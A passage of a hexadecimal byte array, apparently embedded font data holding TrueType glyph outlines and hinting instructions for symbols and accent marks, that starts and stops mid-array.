0xa,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0, + 0xb4,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c, + 0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3,0x0,0x13,0x11,0x12,0x17, + 0x39,0x13,0x2f,0x31,0x30,0x25,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23, + 0x35,0x1,0x1b,0x88,0xd,0x19,0x56,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53, + 0x23,0xb8,0x0,0x0,0x1,0x0,0x7b,0x3,0xd3,0x1,0x29,0x5,0x55,0x0,0xb,0x0, + 0x43,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10, + 0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0xb7,0x1, + 0xa,0x9,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb7, + 0x1,0x6,0x5,0x1,0x3,0x9,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb1,0x3, + 0x2,0x3f,0x31,0x30,0x1,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35, + 0x1,0x29,0x88,0xc,0x1a,0x56,0x1,0x41,0x5,0x55,0xc7,0xbb,0x2,0x4d,0x5,0x53, + 0x23,0xb8,0x0,0x0,0x1,0x0,0xab,0xfe,0x66,0x2,0x65,0x5,0x55,0x0,0x19,0x0, + 0x7a,0xb1,0xe,0xd,0x2f,0x3c,0xb4,0x11,0x10,0xb,0xa,0x3,0x17,0x2f,0x3c,0xb4, + 0x15,0x14,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb5,0x18,0x17,0x3,0x2,0x3,0xa,0x10, + 0x17,0xdd,0x3c,0xb2,0x0,0x2,0xa,0x11,0x12,0x39,0xb3,0x13,0x8,0x6,0x2,0x11, + 0x12,0x39,0x39,0x0,0xb7,0x1,0x14,0x13,0x0,0x8,0x7,0x0,0x0,0x13,0x10,0xcd, + 0xcd,0x10,0xcd,0xcd,0x13,0xb5,0x1,0xa,0x3,0x0,0x0,0x5,0x11,0x14,0x12,0x39, + 0x39,0x14,0x40,0xe,0x1,0x1,0x18,0x10,0xe,0xd,0xb,0x2,0x0,0x7,0x2,0x0, + 0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x17,0x15,0x11,0x3, + 0x13,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x16,0x15,0x11,0x14, + 0x3b,0x1,0x15,0x23,0x22,0x19,0x1,0x34,0x27,0x35,0x36,0x35,0x11,0x10,0x3b,0x1, + 0x15,0x22,0x15,0x11,0x14,0x1,0x2c,0x80,0xab,0xe,0x58,0xed,0x75,0x75,0xed,0x58, + 0xb9,0x1,0xdf,0x3d,0xb1,0xfe,0xab,0xc5,0x71,0x1,0x33,0x1,0x52,0x98,0x23,0x71, + 0x22,0x9a,0x1,0x51,0x1,0x31,0x6f,0xc5,0xfe,0xab,0xb1,0x0,0x1,0x0,0xab,0xfe, + 0x66,0x2,0x65,0x5,0x55,0x0,0x19,0x0,0x81,0xb4,0x15,0x14,0x7,0x6,0x3,0x17, + 0x2f,0x3c,0xb4,0x18,0x17,0x3,0x2,0x3,0x17,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c, + 0xb5,0x11,0x10,0xb,0xa,0x3,0x2,0x10,0x17,0xdd,0x3c,0xb3,0x13,0x8,0x2,0x6, + 0x11,0x12,0x39,0x39,0xb2,0x0,0xa,0x2,0x11,0x12,0x39,0x0,0x40,0xb,0x1,0x6, + 0x5,0x1,0x8,0x7,0x0,0x14,0x13,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb7,0x1,0x17,0x15,0x11,0x3,0x0,0x0,0x13,0x11,0x14,0x12, + 0x17,0x39,0x14,0x40,0xe,0x1,0x1,0x18,0x10,0xe,0xd,0xb,0x2,0x0,0x7,0x2, + 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb5,0x1,0xa,0x3,0x5, + 0x2,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0x31,0x30,0x1,0x26,0x35,0x11,0x34,0x2b, + 0x1,0x35,0x33,0x32,0x19,0x1,0x14,0x17,0x15,0x6,0x15,0x11,0x10,0x2b,0x1,0x35, + 0x32,0x35,0x11,0x34,0x1,0xe8,0x80,0xaf,0xe,0x5a,0xef,0x71,0x71,0xef,0x5a,0xbd, + 0x1,0xdd,0x3c,0xb1,0x1,0x55,0xc5,0x71,0xfe,0xcd,0xfe,0xae,0x98,0x23,0x71,0x24, + 0x97,0xfe,0xae,0xfe,0xcf,0x6f,0xc5,0x1,0x55,0xb1,0x0,0x0,0x3,0x0,0x75,0x2, + 0x82,0x2,0xb3,0x5,0x5d,0x0,0x17,0x0,0x1f,0x0,0x23,0x0,0x8a,0xb1,0x7,0x6, + 0x2f,0x3c,0xb1,0x22,0x21,0x2f,0x3c,0xb2,0x12,0x11,0x6,0x10,0xdd,0x3c,0xb5,0x17, + 0xd,0x8,0x1,0x0,0x11,0x10,0xc0,0xc0,0xc0,0xc4,0xc4,0xb2,0x23,0x20,0x21,0x10, + 0xc0,0xc0,0xb4,0x1e,0x1e,0x9,0x6,0x11,0x11,0x12,0x39,0x39,0x2f,0xb1,0x1a,0xd, + 0x10,0xcd,0x0,0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x20,0x21, + 0x2f,0x3c,0xb2,0x23,0x22,0x21,0x10,0xdd,0x3c,0xb5,0xb,0x1,0xb,0x7,0x0,0x0, + 0x13,0x11,0x12,0x39,0x13,0x2f,0xb4,0x1,0x9,0x2,0x0,0x7,0x11,0x14,0x12,0x39, + 0x14,0x40,0xa,0xf,0x1,0x12,0x11,0xf,0x6,0x4,0x1,0x2,0x0,0x13,0x11,0x12, + 0x17,0x39,0x13,0x2f,0xb1,0x4,0x1,0x3f,0xb5,0x1c,0xb,0x18,0xf,0x15,0x4,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x15,0x11,0x23, + 0x37,0x6,0x23,0x22,0x35,0x34,0x33,0x32,0x17,0x35,0x34,0x26,0x23,0x22,0x15,0x17, + 0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x1,0x21,0x15,0x21,0x1,0xd,0x62,0x5c,0x8a, + 0xff,0x67,0x6,0x3f,0x74,0xe9,0xe7,0x7b,0x35,0x33,0x5b,0x90,0x80,0x93,0x91,0xa4, + 0xfe,0x49,0x2,0x3c,0xfd,0xc2,0x4,0xb2,0x66,0x45,0xc4,0xfe,0x9a,0x2d,0x35,0xa8, + 0xb1,0x29,0x2d,0x5a,0x33,0x4c,0x8d,0x62,0x67,0x61,0x68,0xfe,0x98,0x52,0x0,0x0, + 0x3,0x0,0x84,0x2,0x82,0x2,0xc2,0x5,0x6a,0x0,0xb,0x0,0x17,0x0,0x1b,0x0, + 0x47,0xb1,0x1a,0x19,0x2f,0x3c,0xb2,0x1b,0x18,0x19,0x10,0xc0,0xc0,0xb1,0x9,0x3, + 0x2f,0x2f,0xb3,0x15,0x3,0xf,0x9,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x18,0x19,0x2f, + 0x3c,0xb2,0x1b,0x1a,0x19,0x10,0xdd,0x3c,0xb7,0x6,0x1,0x1,0x6,0x2,0x0,0x0, + 0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x2f,0xb1,0x0,0x1,0x3f,0xb3,0x12,0x6, + 0xc,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22, + 0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26, + 0x1,0x21,0x15,0x21,0x1,0xa3,0xa6,0x65,0x65,0xa6,0xa6,0x65,0x65,0xa6,0x67,0x30, + 0x2f,0x68,0x67,0x30,0x30,0xfe,0x7c,0x2,0x3c,0xfd,0xc2,0x5,0x6a,0x6d,0xb3,0xb2, + 0x6d,0x6d,0xb3,0xb2,0x6d,0x59,0x3f,0x87,0x89,0x3e,0x3f,0x88,0x87,0x3f,0xfd,0xc3, + 0x52,0x0,0x2,0x0,0x94,0x0,0x7c,0x4,0x54,0x4,0xe2,0x0,0xb,0x0,0xf,0x0, + 0x55,0xb1,0x0,0xb,0x2f,0x3c,0xb4,0xa,0x9,0x2,0x1,0x3,0x17,0x2f,0x3c,0xb1, + 0x6,0x5,0x2f,0x3c,0xb1,0xc,0xf,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb5,0x8, + 0x7,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0x0,0xb1,0x9,0x8,0x2f,0x3c,0xb4, + 0x0,0x5,0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xf,0xe, + 0x2f,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0xc,0xd, + 0xe,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,0x11,0x33,0x11,0x21,0x15,0x21,0x11,0x23, + 0x11,0x21,0x11,0x21,0x15,0x21,0x94,0x1,0x94,0x9a,0x1,0x92,0xfe,0x6e,0x9a,0xfe, + 0x6c,0x3,0xc0,0xfc,0x40,0x3,0x80,0x1,0x62,0xfe,0x9e,0x8f,0xfe,0xa2,0x1,0x5e, + 0xfe,0x1a,0x8f,0x0,0x1,0xfe,0x86,0x0,0x0,0x2,0x8c,0x5,0x55,0x0,0x3,0x0, + 0x1c,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x1,0x0,0x3,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x9,0x1,0x23, + 0x1,0x2,0x8c,0xfc,0x61,0x67,0x3,0x9a,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x0, + 0x5,0x0,0x22,0xff,0xfb,0x6,0x23,0x5,0x5a,0x0,0xb,0x0,0x18,0x0,0x1c,0x0, + 0x28,0x0,0x35,0x0,0x63,0xb7,0x26,0x20,0x1c,0x1b,0x1a,0x19,0x9,0x3,0x2f,0x2f, + 0x2e,0x2e,0x2e,0x2e,0x2f,0x2f,0xb7,0x32,0x20,0x2c,0x26,0x15,0x3,0xf,0x9,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x19,0x1c,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x13,0xb1,0x1b,0x1a,0x2f,0x3c,0x40,0xa,0x1d,0x6,0x1,0x1,0x1d,0x6, + 0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x2f,0x2f,0xb3,0x23, + 0x0,0x0,0x1,0x3f,0x3f,0xb7,0x2f,0x23,0x29,0x1d,0x12,0x6,0xc,0x0,0x10,0xcd, + 0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22, + 0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2,0x34,0x26, + 0x25,0x1,0x23,0x1,0x13,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36, + 0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2,0x34,0x26,0x1,0x4d,0xcd,0x5c, + 0x5c,0xbc,0xd3,0x69,0x6b,0xbe,0x94,0x40,0x43,0xc8,0x9f,0x45,0x3,0x47,0xfc,0x61, + 0x5d,0x3,0x99,0x3a,0xcd,0x5c,0x5c,0xbc,0xd3,0x69,0x6b,0xbe,0x94,0x40,0x43,0xc8, + 0x9f,0x46,0x5,0x5a,0x6b,0xeb,0xeb,0x74,0x76,0xed,0xd9,0x79,0x48,0x4e,0xb3,0xda, + 0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x43,0xfa,0xab,0x5,0x55,0xfd,0x5b,0x6b,0xeb,0xec, + 0x73,0x76,0xed,0xd9,0x79,0x48,0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x0, + 0x7,0x0,0x22,0xff,0xfb,0x8,0xfb,0x5,0x5a,0x0,0xb,0x0,0x18,0x0,0x1c,0x0, + 0x28,0x0,0x35,0x0,0x41,0x0,0x4e,0x0,0x81,0x40,0xa,0x3f,0x39,0x26,0x20,0x1c, + 0x1b,0x1a,0x19,0x9,0x3,0x2f,0x2f,0x2e,0x2e,0x2e,0x2e,0x2f,0x2f,0x2f,0x2f,0x40, + 0xc,0x4b,0x39,0x45,0x3f,0x32,0x20,0x2c,0x26,0x15,0x3,0xf,0x9,0x10,0xcd,0x10, + 0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb4,0x1,0x19,0x1c,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x1b,0x1a,0x2f,0x3c,0x40,0xd,0x36,0x1d,0x6,0x1, + 0x1,0x36,0x1d,0x6,0x3,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13, + 0x14,0x2f,0x2f,0x2f,0xb5,0x3c,0x0,0x23,0x0,0x0,0x1,0x3f,0x3f,0x3f,0x40,0xc, + 0x48,0x3c,0x42,0x36,0x2f,0x23,0x29,0x1d,0x12,0x6,0xc,0x0,0x10,0xcd,0x10,0xcd, + 0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6, + 0x23,0x22,0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2, + 0x34,0x26,0x25,0x1,0x23,0x1,0x13,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35, + 0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x3d,0x2,0x34,0x26,0x25,0x32, + 0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16, + 0x33,0x32,0x3d,0x2,0x34,0x26,0x1,0x4d,0xcd,0x5c,0x5c,0xbc,0xd3,0x69,0x6b,0xbe, + 0x94,0x40,0x43,0xc8,0x9f,0x45,0x3,0x47,0xfc,0x61,0x5d,0x3,0x99,0x3a,0xcd,0x5c, + 0x5c,0xbc,0xd3,0x69,0x6b,0xbe,0x94,0x40,0x43,0xc8,0x9f,0x46,0x2,0x4a,0xcc,0x5d, + 0x5c,0xbd,0xd3,0x69,0x6b,0xbe,0x93,0x41,0x44,0xc7,0xa0,0x46,0x5,0x5a,0x6b,0xeb, + 0xeb,0x74,0x76,0xed,0xd9,0x79,0x48,0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34, + 0x43,0xfa,0xab,0x5,0x55,0xfd,0x5b,0x6b,0xeb,0xec,0x73,0x76,0xed,0xd9,0x79,0x48, + 0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x48,0x6b,0xeb,0xec,0x73,0x76,0xed, + 0xd9,0x79,0x48,0x4e,0xb3,0xda,0x4a,0x9f,0x76,0x6f,0x6d,0x34,0x0,0x0,0x1,0xff, + 0x78,0xfe,0x66,0x4,0x9b,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0, + 0x2e,0x2e,0x2e,0x2e,0x0,0xb7,0x1,0x0,0x1,0x0,0x3,0x2,0x0,0x0,0x13,0x10, + 0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x3,0x33,0x1,0x23,0x88,0x73,0x4,0xb0, + 0x72,0x5,0x55,0xf9,0x11,0x0,0x2,0x0,0xfa,0x4,0x66,0x3,0x6,0x4,0xe8,0x0, + 0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f,0x3c,0xb2, + 0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0,0xb1,0x0, + 0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0xb2, + 0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15,0x23,0x35, + 0x1,0x94,0x9a,0x2,0xc,0x9a,0x4,0xe8,0x82,0x82,0x82,0x82,0x0,0x0,0x1,0x1, + 0xb0,0x4,0x66,0x2,0x4a,0x4,0xe8,0x0,0x3,0x0,0x1b,0xb1,0x3,0x2,0x2f,0x3c, + 0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1, + 0x3,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x2,0x4a,0x9a,0x4,0xe8,0x82, + 0x82,0x0,0x2,0x1,0x63,0x4,0x1b,0x2,0x9d,0x5,0x55,0x0,0x7,0x0,0xf,0x0, + 0x2f,0xb1,0x6,0x2,0x2f,0x2f,0xb3,0xe,0x2,0xa,0x6,0x10,0xcd,0x10,0xcd,0x0, + 0xb7,0x4,0x1,0x1,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14, + 0x2f,0xb1,0x0,0x1,0x3f,0xb3,0xc,0x4,0x8,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x1,0x32,0x15,0x14,0x23,0x22,0x35,0x34,0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34, + 0x2,0x0,0x9d,0x9d,0x9d,0x9d,0x59,0x59,0x59,0x5,0x55,0x9d,0x9d,0x9d,0x9d,0x48, + 0x55,0x55,0x55,0x55,0x0,0x0,0x1,0x1,0x8b,0x4,0x30,0x2,0xe2,0x5,0x47,0x0, + 0x3,0x0,0x21,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xb,0x1, + 0x1,0x3,0x2,0x1,0x0,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39, + 0x13,0x14,0x31,0x30,0x1,0x17,0x5,0x27,0x2,0x9a,0x48,0xfe,0xd9,0x30,0x5,0x47, + 0x62,0xb5,0x4a,0x0,0x1,0x1,0x1e,0x4,0x30,0x2,0x75,0x5,0x47,0x0,0x3,0x0, + 0x21,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xb,0x1,0x1,0x3, + 0x2,0x1,0x0,0x4,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x31,0x30,0x1,0x5,0x7,0x25,0x1,0x66,0x1,0xf,0x31,0xfe,0xda,0x5,0x47,0xcd, + 0x4a,0xb5,0x0,0x0,0x1,0x0,0xf9,0x4,0x31,0x3,0x6,0x5,0x49,0x0,0x5,0x0, + 0x27,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40, + 0xd,0x1,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x6,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x1,0x5,0x7,0x27,0x7,0x27,0x2,0x0, + 0x1,0x6,0x38,0xce,0xce,0x39,0x5,0x49,0xd1,0x47,0x98,0x98,0x47,0x0,0x1,0x0, + 0xf9,0x4,0x31,0x3,0x6,0x5,0x49,0x0,0x5,0x0,0x27,0xb5,0x5,0x4,0x3,0x2, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xd,0x1,0x1,0x5,0x4,0x3, + 0x2,0x1,0x0,0x6,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, + 0x31,0x30,0x1,0x25,0x37,0x17,0x37,0x17,0x2,0x0,0xfe,0xf9,0x39,0xce,0xce,0x38, + 0x4,0x31,0xd1,0x47,0x98,0x98,0x47,0x0,0x1,0x0,0xf7,0x4,0x36,0x3,0xa,0x5, + 0x30,0x0,0x9,0x0,0x27,0xb3,0x6,0x5,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb4, + 0x0,0x6,0x5,0x1,0x3,0x17,0x2f,0x3c,0xb5,0x8,0x1,0x8,0x1,0x2,0x0,0x13, + 0x11,0x12,0x39,0x13,0x2f,0xb1,0x3,0x8,0x10,0xcd,0x31,0x30,0x13,0x33,0x16,0x33, + 0x32,0x37,0x33,0x6,0x23,0x22,0xf7,0x61,0x1f,0x89,0x8a,0x1e,0x62,0x28,0xe2,0xe1, + 0x5,0x30,0x8d,0x8d,0xfa,0x0,0x1,0x0,0xeb,0x4,0x4c,0x3,0x14,0x4,0xff,0x0, + 0x11,0x0,0x30,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xf,0xc, + 0x3,0x1,0x1,0xc,0xa,0x9,0x3,0x1,0x0,0x6,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0xb3,0x10,0x3,0x7,0xc,0x10,0xcd,0x10, + 0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7,0x27,0x36,0x33, + 0x32,0x17,0x16,0x33,0x32,0x2,0xc4,0x50,0x47,0x58,0x2e,0x50,0x4e,0x1f,0x2a,0x25, + 0x50,0x49,0x5a,0x29,0x53,0x57,0x17,0x27,0x4,0xfc,0x32,0x7e,0x24,0x22,0x42,0x33, + 0x7c,0x22,0x24,0x0,0x2,0x1,0x25,0x4,0x2d,0x3,0x64,0x5,0x45,0x0,0x3,0x0, + 0x7,0x0,0x2d,0xb7,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x2e,0x0,0x40,0xf,0x1,0x1,0x7,0x6,0x5,0x4,0x3,0x2,0x1, + 0x0,0x8,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30, + 0x1,0x17,0x7,0x27,0x25,0x17,0x7,0x27,0x2,0xc,0x4c,0xff,0x34,0x1,0xf3,0x4c, + 0xff,0x34,0x5,0x45,0x54,0xc4,0x40,0xd8,0x54,0xc4,0x40,0x0,0x1,0x1,0x93,0xfe, + 0xa3,0x2,0x6d,0xff,0x9c,0x0,0x3,0x0,0x21,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0x40,0xb,0x1,0x1,0x3,0x2,0x1,0x0,0x4,0x0,0x0,0x3,0x0, + 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30,0x5,0x17,0x7,0x27,0x2,0xc, + 0x61,0x8b,0x4f,0x64,0x36,0xc3,0x2a,0x0,0x1,0x2,0x15,0xfe,0xa0,0x3,0x33,0x0, + 0x0,0x0,0xd,0x0,0x32,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0xc,0x1,0x0,0x7,0x10, + 0xc0,0xc0,0xc4,0xb1,0x3,0xc,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x9, + 0xa,0x1,0xa,0x8,0x7,0x3,0x1,0x3,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x2f, + 0xb1,0x5,0xa,0x10,0xcd,0x31,0x30,0x21,0x33,0x6,0x15,0x14,0x33,0x32,0x37,0x15, + 0x6,0x23,0x22,0x35,0x34,0x2,0x9f,0x68,0x9d,0x7d,0x26,0x26,0x33,0x2a,0xc1,0x5a, + 0x50,0x5d,0x12,0x5a,0x11,0x9f,0x72,0x0,0x1,0x1,0x5,0x4,0x6a,0x2,0xfb,0x4, + 0xde,0x0,0x3,0x0,0x1b,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, + 0x3c,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb2,0x3,0x2,0x1,0x10,0xdd,0x3c,0x31,0x30, + 0x1,0x21,0x15,0x21,0x1,0x5,0x1,0xf6,0xfe,0xa,0x4,0xde,0x74,0x0,0x3,0x0, + 0x44,0xff,0xf2,0x5,0xb2,0x5,0x63,0x0,0x1c,0x0,0x28,0x0,0x34,0x0,0x61,0xb7, + 0x26,0x20,0x1c,0xf,0xe,0x8,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2f,0x2f, + 0xb5,0x32,0x20,0x2c,0x26,0x16,0x8,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x0, + 0x1,0x2f,0x3c,0xb1,0xf,0xe,0x2f,0x3c,0xb5,0x5,0x1,0x5,0x1,0x0,0x0,0x13, + 0x11,0x12,0x39,0x13,0x2f,0xb7,0xb,0x1,0x1,0xb,0x1,0x0,0x2,0x0,0x13,0x11, + 0x14,0x12,0x39,0x13,0x14,0x2f,0xb3,0x23,0x0,0x1d,0x1,0x3f,0x3f,0xb7,0x2f,0x23, + 0x29,0x1d,0x19,0x5,0x13,0xb,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x1,0x33,0x7,0x14,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x21,0x20,0x15,0x17,0x23, + 0x35,0x34,0x26,0x23,0x22,0x6,0x15,0x10,0x16,0x33,0x32,0x36,0x35,0x3,0x20,0x0, + 0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x0,0x5,0x22,0x0,0x11,0x10,0x0,0x33, + 0x32,0x0,0x11,0x10,0x0,0x3,0xdb,0x67,0x1,0x71,0xe0,0xcc,0x6f,0x72,0x1,0x9, + 0x1,0x7,0x1,0x67,0x3b,0x6c,0xbe,0x51,0x36,0xa3,0x9d,0x4b,0xdf,0x1,0x1e,0x1, + 0x97,0xfe,0x69,0xfe,0xe2,0xfe,0xdf,0xfe,0x68,0x1,0x98,0x1,0x20,0xfd,0xfe,0x9a, + 0x1,0x66,0xfd,0xfc,0x1,0x65,0xfe,0x9c,0x2,0x39,0x24,0xa0,0x51,0x8c,0x1,0x2, + 0x1,0x15,0x77,0xe3,0x1c,0x1e,0x58,0x30,0x3a,0x87,0xfe,0xc3,0x6a,0x2c,0x5c,0x3, + 0x5e,0xfe,0x68,0xfe,0xe0,0xfe,0xe0,0xfe,0x67,0x1,0x98,0x1,0x21,0x1,0x20,0x1, + 0x98,0x48,0xfe,0x93,0xfe,0xfd,0xfe,0xfd,0xfe,0x92,0x1,0x6e,0x1,0x3,0x1,0x3, + 0x1,0x6d,0x0,0x0,0x4,0x0,0x44,0xff,0xf2,0x5,0xb2,0x5,0x63,0x0,0x10,0x0, + 0x18,0x0,0x24,0x0,0x30,0x0,0x8f,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x9,0x8,0x2f, + 0x3c,0xb5,0x11,0x18,0x10,0xf,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0xb,0xa,0x8, + 0x10,0xdd,0x3c,0xb1,0x22,0x1,0x10,0xc4,0xb2,0x1c,0x4,0x8,0x10,0xc4,0xc4,0xb7, + 0x17,0x12,0xe,0xd,0x2,0x5,0xa,0xf,0x11,0x12,0x17,0x39,0xb2,0x6,0x8,0xa, + 0x11,0x12,0x39,0xb5,0x2e,0x1c,0x28,0x22,0x14,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd, + 0x0,0xb4,0x0,0x10,0xa,0x9,0x3,0x17,0x2f,0x3c,0xb1,0x11,0x12,0x2f,0x3c,0xb1, + 0x2,0x1,0x2f,0x3c,0xb3,0xf,0xe,0xd,0x12,0x10,0xdd,0x3c,0x3c,0xb2,0x18,0x17, + 0x1,0x10,0xdd,0x3c,0xb3,0xb,0x8,0xd,0x9,0x11,0x12,0x39,0x39,0xb2,0x6,0x12, + 0xd,0x11,0x12,0x39,0xb3,0x1f,0x0,0x19,0x1,0x3f,0x3f,0xb3,0x2b,0x1f,0x25,0x19, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11,0x21,0x32,0x15,0x14,0x7,0x16,0x1d,0x1, + 0x23,0x35,0x34,0x2b,0x1,0x21,0x19,0x1,0x33,0x32,0x35,0x34,0x26,0x23,0x21,0x13, + 0x20,0x0,0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x0,0x5,0x22,0x0,0x11,0x10, + 0x0,0x33,0x32,0x0,0x11,0x10,0x0,0x1,0xc4,0x1,0x80,0xee,0x6b,0x60,0x66,0x72, + 0x1d,0xfe,0xf8,0xfc,0xa6,0x32,0x55,0xfe,0xe5,0xd3,0x1,0x1e,0x1,0x97,0xfe,0x69, + 